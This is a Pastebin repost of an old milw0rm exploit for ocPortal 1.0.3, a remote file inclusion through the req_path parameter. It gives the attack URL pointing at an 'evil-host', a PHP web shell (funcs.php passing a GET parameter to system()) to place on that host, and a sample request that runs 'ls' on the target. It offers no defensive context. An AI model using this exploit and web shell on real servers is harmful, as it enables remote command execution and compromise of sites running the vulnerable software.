Advertisement
Aluf

ocPortal 1.0.3 - Remote File Inclusion

Jan 31st, 2015
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. http://localhost/ocp-103/index.php?req_path=http ://evil-host/
  2.  
  3. By Aluf
  4.  
  5. On your evil host you must put scipt funcs.php.
  6.  
  7. Example of funcs.php if your host doesn't support php.
  8.  
  9.  
  10.  
  11. <?php
  12.  
  13. $com = $_GET["com"];
  14.  
  15. system ("$com");
  16.  
  17. ?>
  18.  
  19.  
  20.  
  21. Example of funcs.php if your host support php.
  22.  
  23.  
  24.  
  25. <?php
  26.  
  27. echo '<?php $com = $_GET["com"]; system ("$com"); ?>';
  28.  
  29. ?>
  30.  
  31.  
  32.  
  33. http://localhost/ocp-103/index.php?req_path=http://evil-host/&com=ls
  34.  
  35.  
  36. # milw0rm.com [2004-10-13]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement